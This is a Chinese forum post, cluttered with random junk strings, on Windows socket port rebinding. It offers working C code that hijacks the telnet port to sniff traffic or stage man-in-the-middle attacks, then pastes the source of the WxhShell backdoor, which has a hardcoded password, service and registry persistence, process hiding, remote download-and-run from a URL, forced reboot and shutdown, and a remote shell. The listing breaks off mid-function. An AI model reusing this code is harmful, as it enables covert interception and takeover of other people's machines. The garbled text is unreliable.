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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [z`31F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /H(? 2IHC  
pb ~u E  
  saddr.sin_family = AF_INET; zQ@I}K t  
Sa?ksD2IaB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); GqaDL3Niqs  
v9w'!C)b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %l}D.ml  
}Qip&IN  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5_I->-<  
]b7zJUz  
  这意味着什么?意味着可以进行如下的攻击: l_P-j 96WD  
% NA9{<I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @eD):Y  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RrX[|GLSJ  
-@yh> 8v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 7\$qFF-y  
Z&1T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  dJ2Hr;Lc  
R?~Yp?B^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7n8~K3~;  
;aI[=?<x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /'].lp  
~$:|VHl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P7nc7a  
8+a4>8[M  
  #include M)'HCnvs'  
  #include <j*;.yyC  
  #include v(B<Nb  
  #include    qq) rd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4 N H  
  int main() 42e|LUZg  
  { *c~T@m~DR  
  WORD wVersionRequested;  `x l   
  DWORD ret; uD1e!oU  
  WSADATA wsaData;  87<-kV  
  BOOL val; @wpN6 /   
  SOCKADDR_IN saddr; r=5{o 1"  
  SOCKADDR_IN scaddr; (]0%}$Fo  
  int err; uw [<5  
  SOCKET s; lD^]\;?  
  SOCKET sc; M9V q -U18  
  int caddsize;  J7=+  
  HANDLE mt; eu(:`uu  
  DWORD tid;   T;,cN7>>O  
  wVersionRequested = MAKEWORD( 2, 2 ); ]`kmjn  
  err = WSAStartup( wVersionRequested, &wsaData ); S4G^z}{_  
  if ( err != 0 ) { MhR:c7,  
  printf("error!WSAStartup failed!\n"); ZaL.!g  
  return -1; 1UE6 4Kl:S  
  } ||;hci O  
  saddr.sin_family = AF_INET; -F<Wd/Xse  
   CitDm1DXt/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;~D)~=|ZZ  
MO n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K2J \awX  
  saddr.sin_port = htons(23); `[W[H(AjQ  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UazP6^{L  
  { 1IZ3=6  
  printf("error!socket failed!\n"); yt.F\[1  
  return -1; d4?Mi2/jF  
  } _i20|v   
  val = TRUE; wM2*#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Mdl{}P0)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %`&2+\`  
  { 4A_[PM  
  printf("error!setsockopt failed!\n"); @JyK|.b#0  
  return -1; b/C`J p  
  } X22[tqg;&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bT^I"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R,pX:H&#+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =Ur}~w&H8  
~ xft  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +\F'iAs@  
  { @wE5S6! B\  
  ret=GetLastError(); z@B=:tf  
  printf("error!bind failed!\n"); 0@H|n^Md#  
  return -1; kPF9Z "l  
  } X@K-^8  
  listen(s,2); F W/W%^  
  while(1) J6L  K  
  { sB c (gr  
  caddsize = sizeof(scaddr); w*oQ["SL  
  //接受连接请求 !f&Kf,#b`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RPE5K:P  
  if(sc!=INVALID_SOCKET) E ,|xJjh  
  { =jX8.K4]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]3KhgK%c8  
  if(mt==NULL) }>VG~u8  
  { ]>~)<   
  printf("Thread Creat Failed!\n"); u%$Zqee  
  break; /J:bWr  
  } ;9#Z@]p  
  } 0},PJ$8x  
  CloseHandle(mt); -3;*K4z$/  
  } \H=&`?  
  closesocket(s); G-?d3 n  
  WSACleanup(); rld67'KcE  
  return 0; (fCXxyZrr  
  }   RV5n,J  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6y6<JR-V2k  
  { b+f'[;  
  SOCKET ss = (SOCKET)lpParam; 34d3g  
  SOCKET sc; )0Me?BRp  
  unsigned char buf[4096]; V{^!BBQ  
  SOCKADDR_IN saddr; \9/ b!A  
  long num; AO=h 23ZI  
  DWORD val; ,)iKH]lY=  
  DWORD ret; 8"fD`jtQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =u+d_'P7-R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c2e tc8  
  saddr.sin_family = AF_INET; (Nx;0"5IX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M $Es%  
  saddr.sin_port = htons(23); _c, '>aH=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  }(1JaG  
  { n(L\||#+  
  printf("error!socket failed!\n"); #1c_evH  
  return -1; sK7+Q  
  } 8[J}CdS  
  val = 100; 4*'pl.rb>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /k<WNZM  
  { D;_ MPN[  
  ret = GetLastError(); ;ByOth|9P  
  return -1; -mRA#  
  } Xt#4/>dlR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &&VqD w  
  { >&p0d0  
  ret = GetLastError(); 86\S?=J-b  
  return -1; =Q[b'*o7  
  } qfK`MhA}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hWT[L.>k  
  { GF5^\Rf  
  printf("error!socket connect failed!\n"); TH$N5w%  
  closesocket(sc); OBP1B@|l$+  
  closesocket(ss); 9$|Gfyv  
  return -1; tX"Th'Qi  
  } Ldl 5zc  
  while(1) 61j I  
  { WN_pd%m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {FG|\nPw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ko/ I#)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^4`Px/&  
  num = recv(ss,buf,4096,0); D*YM[sN`  
  if(num>0) i![dPM  
  send(sc,buf,num,0); ^-[?#]  
  else if(num==0) pTyi!:g3W  
  break; SJ};TEA  
  num = recv(sc,buf,4096,0); dGFGr}&s  
  if(num>0) #~.w&~ :  
  send(ss,buf,num,0); ,ML[Wr'2  
  else if(num==0) {nvLPUL  
  break; wlEo"BA  
  } F`9ZH.  
  closesocket(ss); \0H's{uek  
  closesocket(sc); v !FMs<  
  return 0 ; Gsc\/4Wx  
  } acw4B5]  
\C`~S7jC  
yG sz2T;w  
========================================================== !grVR157P  
YNBHBK4;  
下边附上一个代码,,WXhSHELL n9\]S7] 52  
^+1#[E  
========================================================== fS"Hr0  
F1Hh7 F  
#include "stdafx.h" 1& '8Y  
4L73]3&  
#include <stdio.h> k~|-gf FP  
#include <string.h> TcGoSj<Z  
#include <windows.h> C^z\([k0er  
#include <winsock2.h> mnID3=JF  
#include <winsvc.h> rX;Ys2vQ*  
#include <urlmon.h> U7DCx=B  
{" 4e+y  
#pragma comment (lib, "Ws2_32.lib") wfP5@!I  
#pragma comment (lib, "urlmon.lib") ]D!k&j~P  
2EK%N'H  
#define MAX_USER   100 // 最大客户端连接数 n?:=  
#define BUF_SOCK   200 // sock buffer ZJjTzEV%^B  
#define KEY_BUFF   255 // 输入 buffer @Kgl%[NmX  
Go&D[#  
#define REBOOT     0   // 重启 6y5A"-  
#define SHUTDOWN   1   // 关机 N7s'6(`=X  
7HHysNB"w  
#define DEF_PORT   5000 // 监听端口 w?,M}=vg  
3F#+~^2  
#define REG_LEN     16   // 注册表键长度 8p!*?RRme[  
#define SVC_LEN     80   // NT服务名长度 wfjc/u9W6R  
QQpP#F|w  
// 从dll定义API *E~VKx1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >z`,ch6~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $j 5,%\4<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =U. b% uC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ji;mHFZ*FU  
gs W0  
// wxhshell配置信息 b`_w])Y@  
struct WSCFG { |Cdvfk  
  int ws_port;         // 监听端口 R4<lln:[  
  char ws_passstr[REG_LEN]; // 口令 <q,+ON\'  
  int ws_autoins;       // 安装标记, 1=yes 0=no sK 2 e&  
  char ws_regname[REG_LEN]; // 注册表键名 poJg"R4  
  char ws_svcname[REG_LEN]; // 服务名 %Z8vdU#l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F#{gfh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0q9>6?=i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {NCF6M k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vSW L$Y2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u7;~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d3]hyTqbtm  
I@l>w._.  
}; XW L^  
$A}QY5`+~S  
// default Wxhshell configuration @S 6u9v  
struct WSCFG wscfg={DEF_PORT, L "<B;u5pM  
    "xuhuanlingzhe", @+_&Y]  
    1, y>\S@I  
    "Wxhshell", o;[bJ Z\^x  
    "Wxhshell", -n*;W9  
            "WxhShell Service", oY`qInM_  
    "Wrsky Windows CmdShell Service", Bfd-:`Jk  
    "Please Input Your Password: ", hFvi 5I-b  
  1, dZGbC9  
  "http://www.wrsky.com/wxhshell.exe", L<(VG{)Z  
  "Wxhshell.exe" %q_Miu@  
    }; #3kXmeyrD  
D{'#er  
// 消息定义模块 r-w2\2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eFTX6XB:i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^t'3rft  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qrz4}0  
char *msg_ws_ext="\n\rExit."; NE"jh_m-  
char *msg_ws_end="\n\rQuit."; ' eO/PnYW  
char *msg_ws_boot="\n\rReboot..."; HBLWOQab  
char *msg_ws_poff="\n\rShutdown..."; FoPginZ]J  
char *msg_ws_down="\n\rSave to "; OYf{?-QD  
PdY>#Cyh  
char *msg_ws_err="\n\rErr!"; |ia@,*KD  
char *msg_ws_ok="\n\rOK!"; >Csbjf6  
=:h3w#_c  
char ExeFile[MAX_PATH]; oTOfK}  
int nUser = 0; GH'O! }  
HANDLE handles[MAX_USER]; "7?js $  
int OsIsNt; F ,G,b  
um8AdiK  
SERVICE_STATUS       serviceStatus; ~,}s(`~   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a ]1i/3/  
$<e +r$1  
// 函数声明 _g6m=N4  
int Install(void); +Z? [M1g  
int Uninstall(void); kqB\xlS7k  
int DownloadFile(char *sURL, SOCKET wsh); 0->/`/xm  
int Boot(int flag); i+~QDo(Pi  
void HideProc(void); I$N7pobh  
int GetOsVer(void); ) Ypz!  
int Wxhshell(SOCKET wsl); s!h5hwBY  
void TalkWithClient(void *cs); dE>v\0 3!8  
int CmdShell(SOCKET sock); ^now}u9S6  
int StartFromService(void); oofFrAaT  
int StartWxhshell(LPSTR lpCmdLine); xbC~ C~#  
v#=ayWgk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >.Q0 Tx!P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ci7~KewJ*  
 nhfwOS  
// 数据结构和表定义 ?"@ET9  
SERVICE_TABLE_ENTRY DispatchTable[] = P`sN&Y~m  
{ o5#,\Y[ g  
{wscfg.ws_svcname, NTServiceMain}, yv${M u  
{NULL, NULL} z\[(g  
}; }'jV/  
GUCM4jVT^  
// 自我安装 uAb 03Q  
int Install(void) #D:RhqjK  
{ sM9- 0A  
  char svExeFile[MAX_PATH]; S 1ibw\'  
  HKEY key; jI#z/a!j:  
  strcpy(svExeFile,ExeFile); gY\mXM*^  
{@\/a  
// 如果是win9x系统,修改注册表设为自启动 /$OIlu  
if(!OsIsNt) { ~}%&p& p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RQ5P}A 3H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N K"%DU<  
  RegCloseKey(key); a&:>Ped"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7+S44)w}~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Et0&E  
  RegCloseKey(key); ./!KE"!  
  return 0; VLd=" ~  
    } 2e\Kw+(>{  
  } gDc]^K4>  
} Eb7}$Ji\  
else { 7`+UB>8  
{9:hg9;E*  
// 如果是NT以上系统,安装为系统服务 7?]!Ecr"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i\Q":4  
if (schSCManager!=0) .6I%64m  
{ E$&;]a  
  SC_HANDLE schService = CreateService `NoCH[$!+  
  ( 5YLho2h38!  
  schSCManager, :9O|l)N)W=  
  wscfg.ws_svcname, tJG (*   
  wscfg.ws_svcdisp, C0f[eA  
  SERVICE_ALL_ACCESS, =~;zVP   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'iDu0LX  
  SERVICE_AUTO_START, e7wKjt2fy  
  SERVICE_ERROR_NORMAL, rOhA*_EG  
  svExeFile, 95% :AQLV  
  NULL, X~#@rg!"  
  NULL, } _VZ  
  NULL, MSF Nw  
  NULL, X[Y #+z4  
  NULL 2O^32TdS  
  ); s~#?9vW  
  if (schService!=0) V?o&])?[  
  { 5Wj5IS/  
  CloseServiceHandle(schService);  aeQ{_SK  
  CloseServiceHandle(schSCManager); OC`QD5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dfXV1B5  
  strcat(svExeFile,wscfg.ws_svcname); 1w6.   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @D2`*C9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (2 mS v  
  RegCloseKey(key); Vc{/o=1u  
  return 0; 79y'Ja+`j  
    } *E$H;wKs8  
  } Yr Preuh  
  CloseServiceHandle(schSCManager); M~#5/eRX  
} %9cqJ]S  
} '$lw[1  
_6| /P7"  
return 1; 9n-RXVL+  
} I(F1S,7  
30e(4@!4vW  
// 自我卸载 )bF)RL Z  
int Uninstall(void) 6k@[O@)  
{ ^D0/H N   
  HKEY key; oM m/!Dc  
>f3k3XWRT  
if(!OsIsNt) { InTKdr^ P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \0xzBs1!  
  RegDeleteValue(key,wscfg.ws_regname); bkJn}Al;  
  RegCloseKey(key); us(sZG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Vs Nyy  
  RegDeleteValue(key,wscfg.ws_regname); &L2`L)  
  RegCloseKey(key); 9$}+-Z  
  return 0; 5LnB]dW  
  } a .B\=3xn  
} L|vaTidc0  
} 6oe$)iV  
else { fte!Ll'  
KHiYV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WcQZFtW  
if (schSCManager!=0) V~tu<"%  
{ aa'0EU:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4c9-[KKCV  
  if (schService!=0) EC:x  ,i  
  { [ 7CH(o1a&  
  if(DeleteService(schService)!=0) { gb^UFD L  
  CloseServiceHandle(schService); CgaB)`.  
  CloseServiceHandle(schSCManager); c>%z)uY>/  
  return 0; +$Ddd`J'  
  } BBZ)H6TzL  
  CloseServiceHandle(schService); c9/ 'i  
  } M ?: f^  
  CloseServiceHandle(schSCManager); 8O}A/*1FJ  
} Z\o AE<$  
} ;nHo%`Zt  
}*{\)7g  
return 1; 8#d99dOe  
} +"fM &F]  
KD<; ?oN<O  
// 从指定url下载文件 P"[l86:  
int DownloadFile(char *sURL, SOCKET wsh) 2Q;Y@%G  
{ h)aWerzL  
  HRESULT hr; aL$c).hq0  
char seps[]= "/"; e`gGzyM  
char *token; 9x 6ca  
char *file; tkUW)ScJ  
char myURL[MAX_PATH]; 2TevdyI  
char myFILE[MAX_PATH]; 5i wikC=y  
fQ?n(  
strcpy(myURL,sURL); a5Acqa  
  token=strtok(myURL,seps); 1\7"I-  
  while(token!=NULL) `U?H^,FVA  
  { "ZK5P&d  
    file=token; h-)A?%Xt  
  token=strtok(NULL,seps); 1V?Sj  
  } k%4A::=  
2+G:04eS,e  
GetCurrentDirectory(MAX_PATH,myFILE); P*qNRP%  
strcat(myFILE, "\\"); (B~V:Yt  
strcat(myFILE, file); WRU@i;l  
  send(wsh,myFILE,strlen(myFILE),0); xF:poi  
send(wsh,"...",3,0); Rc m(Y7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S0o,)`ZB  
  if(hr==S_OK) m6ZbYF-7W  
return 0; FlA$G3  
else 5/eS1NJ@  
return 1; 1Qc(<gM  
_bV=G#qKK  
} -QNMB4  
'<E8< bi  
// 系统电源模块 \gW\Sa ^  
int Boot(int flag) eG)/&zQ8  
{ ?jM7C}  
  HANDLE hToken; jU9zCMyNF  
  TOKEN_PRIVILEGES tkp; dvdBRrf  
)PZ}^Fa  
  if(OsIsNt) { N55=&-p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +cOI`4`$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :DF4g=  
    tkp.PrivilegeCount = 1; ^OcfM_4pN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $@f3=NJ4k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X52jqXjg  
if(flag==REBOOT) { o>,z %+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TD=/C|  
  return 0; Z 5YW L4s  
} }oxaB9r  
else { 9P >S[=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I4p= ?Ds  
  return 0; ^~IcQ!j/5  
} (7#lN  
  } gkn/E}K#  
  else { 4uVmhjT:X  
if(flag==REBOOT) { 6V?&hq&t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )mO;l/,0  
  return 0; $5AtI$TV_!  
} }8]uZ)[p=  
else { J?ZVzKTb>}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?m7"G)  
  return 0; s6h Wq&C  
} `1v!sSR0R  
} {3uSg)  
ok _{8z\#  
return 1; )Is*- W  
} HNyDWD)_  
-&$%m)wN  
// win9x进程隐藏模块 bQQ/7KM  
void HideProc(void) B148wh#r  
{ 9wJmX<Rm  
snNg:rT L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y#0Z[[I0  
  if ( hKernel != NULL ) +VCo=oA  
  { toZI.cSg4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VCtiZ4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \4X{\ p<  
    FreeLibrary(hKernel); :DpK{$eCb  
  } Kd1\D!#!6  
|MrH@v7S  
return; ur[bh  
} Sf:lN4  
%4^/.) Q  
// 获取操作系统版本 x=+I8Q4:  
int GetOsVer(void) ;mxT >|z  
{ a~EEow;A  
  OSVERSIONINFO winfo; ?0&>?-?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); df rr.i  
  GetVersionEx(&winfo); gbZX'D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G7JZP T  
  return 1; :6iq{XV^  
  else  #7"5Y_0-  
  return 0; g<c^\WG  
} RIc<  
ZSb+92g{L$  
// 客户端句柄模块 UzwIV{  
int Wxhshell(SOCKET wsl) )pH{b]t  
{ w2V E_  
  SOCKET wsh; e%>E| 9*u  
  struct sockaddr_in client; #!@ ]%4  
  DWORD myID; /bk} J:QRg  
&!MKqJ@t  
  while(nUser<MAX_USER) m&8_i`%<  
{ H9[.#+ln  
  int nSize=sizeof(client); g8y Zc}4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <(%uOo$  
  if(wsh==INVALID_SOCKET) return 1; K_.x(Z(;4  
9V!K. _Cb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C`K/ai{4  
if(handles[nUser]==0) K)Ka"H  
  closesocket(wsh); 2 ARh-zLb  
else (U<wKk"  
  nUser++; H#akE\,  
  } ]7@Dqd-/S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D1a2|^zt  
7.-|3Wcg  
  return 0; *i90[3l  
} s5@^g8(+C  
Hu.d^@V  
// 关闭 socket (Zkt2[E`  
void CloseIt(SOCKET wsh) i ib-\j4d  
{ Rk^&ras_  
closesocket(wsh); p! 1zhD  
nUser--; @ZZ Lh=  
ExitThread(0); %/p5C  
} ps [rYy  
7IR n  
// 客户端请求句柄 e9nuQ\=  
void TalkWithClient(void *cs) \WEC1+@  
{ *2Kte'+q  
QBg'VV  
  SOCKET wsh=(SOCKET)cs; IFe[3mB5  
  char pwd[SVC_LEN]; Wit1WI;18  
  char cmd[KEY_BUFF]; O,PHAwVG%L  
char chr[1]; -g9f3Be  
int i,j; x8t1g,QA  
3@SfCG&|e  
  while (nUser < MAX_USER) { 2t%)d9r32  
GfV9Ox   
if(wscfg.ws_passstr) { +=v|kd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;+\;^nS3d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p*G_$"KpP  
  //ZeroMemory(pwd,KEY_BUFF); Rp1OC  
      i=0; ~j_H2+!  
  while(i<SVC_LEN) { 6 AY%o nY  
b $!l* r  
  // 设置超时 l1msXBC  
  fd_set FdRead; 0td;Ag  
  struct timeval TimeOut; qW9|&GuZ$  
  FD_ZERO(&FdRead); .x&>H  
  FD_SET(wsh,&FdRead); n=~?BxB  
  TimeOut.tv_sec=8; gxiJ`. D=  
  TimeOut.tv_usec=0; j"]%6RwM]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SJfsFi?n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8164SWB  
jU=)4nx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qsLsyi|zG  
  pwd=chr[0]; 6eb5q/  
  if(chr[0]==0xd || chr[0]==0xa) { ,YH.n>`s+  
  pwd=0;  mJ-@:5  
  break; X6PfOep  
  } ;^;5"n h  
  i++; 2- )Ml*  
    } Y?> S.B7  
nV'B!q  
  // 如果是非法用户,关闭 socket V[% r5!83H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1oC/W?l^  
} dX<UruPA  
b{sFN !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7+ c?eH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <ioX|.7ZX  
9F3`hJZRy>  
while(1) {  iGR(  
] O 2_&cs  
  ZeroMemory(cmd,KEY_BUFF); -Z:al\e<g  
a].Bn#AH!C  
      // 自动支持客户端 telnet标准   Dq\#:NnKvx  
  j=0; 1 %*X,E  
  while(j<KEY_BUFF) { thOCzGJ$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :yv!  x  
  cmd[j]=chr[0]; /wmJMX  
  if(chr[0]==0xa || chr[0]==0xd) { 0<e7!M=U1  
  cmd[j]=0; m0:8thZN  
  break; iud%X51  
  } `W"-jz5#=  
  j++; !\p-|51  
    } a"~W1|JC"  
L/V3sSt  
  // 下载文件 {`-EX  
  if(strstr(cmd,"http://")) { v%_sCg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ])e6\)  
  if(DownloadFile(cmd,wsh)) #* w$JH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#kmtJC  
  else =MMWcK&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp8 .\.  
  } |]Ockg[  
  else { Rd2*  
Oi7|R7NE  
    switch(cmd[0]) { P||u{]vU  
  9;.dNdg>  
  // 帮助 s*rtm  
  case '?': { k~Gjfo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V$@@!q  
    break; 1298&C@  
  } ci ,o'`Q  
  // 安装 N+h|Ffnp  
  case 'i': { AX[/S8|6  
    if(Install()) P^+Og_$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jg^tr>I~  
    else b@nbXm]Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UT"L5{c  
    break; B,}%1+*  
    } v)BUt,A  
  // 卸载 ~bvx<:8*%  
  case 'r': { _M{m6k(h  
    if(Uninstall()) GMd81@7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zxKk(J  
    else 0p! [&O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s|d L.@0,L  
    break; D`iWf3a.  
    } rY88xh^  
  // 显示 wxhshell 所在路径 <4^a (Zh  
  case 'p': { VAV@Qn  
    char svExeFile[MAX_PATH]; 3 nb3rHQ  
    strcpy(svExeFile,"\n\r"); G| ^tqI  
      strcat(svExeFile,ExeFile); n0nkv[  
        send(wsh,svExeFile,strlen(svExeFile),0); <#sB ;  
    break; _/7[=e}y  
    } ?^0#:QevC  
  // 重启  k:R9wo  
  case 'b': { p}N'>+@=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ywlym\ [+  
    if(Boot(REBOOT)) $  5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wN"irXG  
    else { ^PO0(rh  
    closesocket(wsh); j @sd x)1+  
    ExitThread(0); tHD mX  
    } =OTwP  
    break; N(/DC)DJg  
    } ;\( wJ{u?Y  
  // 关机 *T*MLD]Q  
  case 'd': { j =[Td   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :E]A51  
    if(Boot(SHUTDOWN)) `[/BG)4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J7uHl`yq`  
